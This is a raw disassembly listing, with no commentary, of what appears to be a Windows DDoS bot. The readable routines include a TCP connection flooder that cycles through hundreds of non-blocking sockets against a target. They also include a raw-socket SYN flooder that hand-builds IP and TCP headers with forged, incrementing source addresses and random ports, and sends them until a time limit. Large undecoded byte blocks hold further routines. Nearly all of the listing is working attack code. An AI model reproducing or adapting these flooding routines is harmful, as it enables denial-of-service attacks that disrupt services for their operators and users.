		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 2468FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A18Co
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BF4h, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BD4h, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 2BCFEBE8h, 106A9002h, 57E4458Dh, 856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8C68h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Bh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B4068h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7C68FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C5068h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22BCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D10EE800h
		dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0D068FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D911E890h
		dd 754E0224h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0A468FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF868FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2660EB7h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D24h, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27709E6h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27709E6h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6C68FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E8468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 2BC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E4Ch, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
